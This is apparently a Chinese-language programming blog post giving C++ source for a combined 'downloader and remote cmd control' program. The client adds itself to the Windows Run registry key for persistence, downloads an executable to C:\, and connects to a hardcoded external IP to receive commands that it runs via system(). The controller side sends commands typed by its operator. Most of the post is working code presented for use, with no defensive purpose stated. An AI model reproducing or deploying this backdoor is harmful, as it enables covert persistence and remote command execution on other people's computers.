C++程式設計之下載者與遠端cmd控制
阿新 • • 發佈:2019-01-26
這次做的軟體主要會有三個功能
1.寫開機啟動項
2.下載應用程式
3.遠端控制
先來看一下Client(伺服器端)
// client.cpp : 定義控制檯應用程式的入口點。
//
#include "stdafx.h"
#include<WinSock2.h>
#pragma comment(lib,"ws2_32.lib")
int _tmain(int argc, _TCHAR* argv[])
{
BOOL bRet = false;
SOCKET sockServer = INVALID_SOCKET;
do{
//接聽電話的步驟
WSADATA wsaData;
WSAStartup(MAKEWORD(2, 2), &wsaData);
if (2 != LOBYTE(wsaData.wVersion) || 2 != HIBYTE(wsaData.wVersion))//判斷版本是不是2.2
{
break;
}
//拿手機
sockServer = socket(AF_INET, SOCK_STREAM, IPPROTO_TCP);
if (INVALID_SOCKET == sockServer)
{
break ;
}
//拿電話卡
sockaddr_in addrServer = { 0 };
addrServer.sin_family = AF_INET;
addrServer.sin_port = htons(18080);
//裝電話卡
if (SOCKET_ERROR == bind(sockServer, (SOCKADDR*)&addrServer, sizeof(addrServer)))
{
break;
}
//準備接電話
if (SOCKET_ERROR == listen(sockServer, SOMAXCONN))
{
break;
}
//等待電話來
SOCKET sockClient = accept(sockServer, nullptr, nullptr);
if (INVALID_SOCKET == sockClient)
{
break;
}
char szComment[MAXBYTE] = { 0 };
while (true)
{
printf("\r\n請輸入指令:");
scanf("%s", szComment);
send(sockClient, szComment, strlen(szComment), 0);
}
//我們這的通話就是傳送指令
bRet = true;
} while (false);
WSACleanup();
system("pause");
return 0;
}
客戶端
// kaijixiazai.cpp : 定義控制檯應用程式的入口點。
//
#include "stdafx.h"
#include<WinSock2.h>//一定要在windows.h之上
#include<Windows.h>
#include <urlmon.h>//下載者需要的標頭檔案
#pragma comment(lib,"urlmon.lib")
#pragma comment(lib,"ws2_32.lib")
BOOL kaijiqidong()
{
HKEY hKey = { 0 };//操作登錄檔的控制代碼
RegOpenKeyEx(HKEY_LOCAL_MACHINE, L"SOFTWARE\\Microsoft\\Windows\\CurrentVersion\\Run", 0, KEY_ALL_ACCESS | KEY_WOW64_64KEY, &hKey);//開啟登錄檔
char sz_path_c[MAXBYTE] = { 0 };//字串
GetModuleFileNameA(nullptr, sz_path_c, MAXBYTE);//獲取當前軟體的路徑 第一個引數是nullptr代表獲取當前已載入的絕對路徑
RegSetValueExA(hKey, "zjsxxzh", 0, REG_SZ, (BYTE*)sz_path_c, strlen(sz_path_c));//寫入登錄檔
return 1;
}
BOOL xiazai()
{
//下載功能
wchar_t szUrl[MAXBYTE] = L"http://dldir1.qq.com/qqfile/qq/QQ8.1/17216/QQ8.1.exe";//下載的url
wchar_t szPath[MAXBYTE] = L"C:\\hahhahaha.exe";//存放的位置
URLDownloadToFile(nullptr, szUrl, szPath, 0, nullptr);
return 0;
}
int _tmain(int argc, _TCHAR* argv[])
{
int nInput = 0;
printf("請輸入您要演示的功能\r\n\t1.設定本程式開機啟動\r\n\t2.下載者功能演示\r\n\t3.遠端桌面\r\t\n");
scanf_s("%d", &nInput);
switch (nInput)
{
case 1: kaijiqidong();
break;
case 2:xiazai();
break;
case 3:{
WSADATA wsaData;
WSAStartup(MAKEWORD(2, 2), &wsaData);
if (2 != LOBYTE(wsaData.wVersion) || 2 != HIBYTE(wsaData.wVersion))//判斷版本是不是2.2
{
break;
}
//拿電話
SOCKET socketClient = socket(AF_INET, SOCK_STREAM, IPPROTO_TCP);
if (INVALID_SOCKET == socketClient)
{
break;
}
//拿地址(電話號碼)
sockaddr_in addServer = { 0 };
addServer.sin_family = AF_INET;
addServer.sin_port = htons(18080);//越大越好
addServer.sin_addr.S_un.S_addr = inet_addr("103.42.29.10");
//撥打電話
if (SOCKET_ERROR == connect(socketClient, (SOCKADDR*)&addServer, sizeof(addServer)))
{
break;
}
char szBuffer[50] = { 0 };
int nRecvLen = 0;
char szComment[50] = { 0 };
while (true)
{
nRecvLen = recv(socketClient, szBuffer, 50, 0);
if (nRecvLen > 0)
{
sprintf_s(szComment, 50,"start %s", szBuffer);//sprintf_s( )
system(szComment);
memset(szBuffer,0, 50);
memset(szComment,0, 50);
}
}
}
break;
default:
break;
}
WSACleanup();
system("pause");
return 0;
}
特別提示 顯示 scanf不能使用
複製錯誤程式碼到stdafx.h
#define _CRT_SECURE_NO_WARNINGS